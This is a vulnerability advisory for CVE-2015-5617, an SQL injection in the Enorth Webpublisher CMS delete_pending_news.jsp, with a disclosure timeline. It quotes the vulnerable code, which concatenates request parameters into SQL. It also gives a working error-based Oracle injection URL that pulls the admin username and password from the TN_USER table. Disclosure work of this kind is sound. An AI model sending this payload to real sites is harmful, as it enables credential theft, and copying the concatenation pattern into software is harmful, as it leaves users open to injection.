Title:
====
[CVE-2015-5617]Enorth Webpublisher CMS  SQL Injection from delete_pending_news.jsp cbNewsid 


Vendor:
======
http://products.enorth.com.cn/bfnrglxt/index.shtml
Enorth Webpublisher CMS so far of the scale of tens of thousands of web sites, with the government, enterprises, scientific research and education and media industries fields such as nearly thousands of business users. 


Versions Affected: 
==============
All versions


Author: 
======
xin.wang(xin.wang(at)dbappsecurity.com.cn)


Vulnerability Description:
====================
/pub/m_pending_news/delete_pending_news.jsp
<%
String[] newsIdGroup;

newsIdGroup = request.getParameterValues("cbNewsId");
if (newsIdGroup == null || newsIdGroup.length == 0) {
  throw new P3Exception("mbx_news_submit_empty_news_id");
} else {
    penTran.deletePendingNews(newsIdGroup);
}
%>

/WEB-INF/classes/cn/com/enorth/pub3/m_news/PendingNewsBean.class

  public void deletePendingNews(String[] newsIds) throws Exception {
    Connection cn = null;
    PreparedStatement pstm = null;
    try {
      StringBuffer buf = new StringBuffer();
      buf.append("delete from tn_pending_news where news_id in (");
      int i = 0; for (int len = newsIds.length; i < len; i++) {
        buf.append(newsIds[i]).append(",");
      }
      buf.append("-1)");
      cn = P3DBTools.getPubConnection();
      pstm = cn.prepareStatement(buf.toString());
      pstm.executeUpdate();//执行
      cn.commit();
    } catch (Exception ex) {
      P3DBTools.rollback(cn);
      throw ex;
    } finally {
      P3DBTools.freeConnection(cn);
    }
  }
}


Exploit:
======
http://website.com/pub/m_pending_news/delete_pending_news.jsp?cbNewsId=2222)%20and%201=ctxsys.drithsx.sn(1,(select%20USER_NAME||PASS_WORD%20from%20TN_USER%20WHERE%20USER_ID=1))—



Vulnerability Disclosure Timeline:

===========================
2015-07-28        Found The Vulnerability
2015-08-02        Submitted To The Vendor
2015-08-03        Fixed
2015-08-13        Public Disclosure
================================================================================================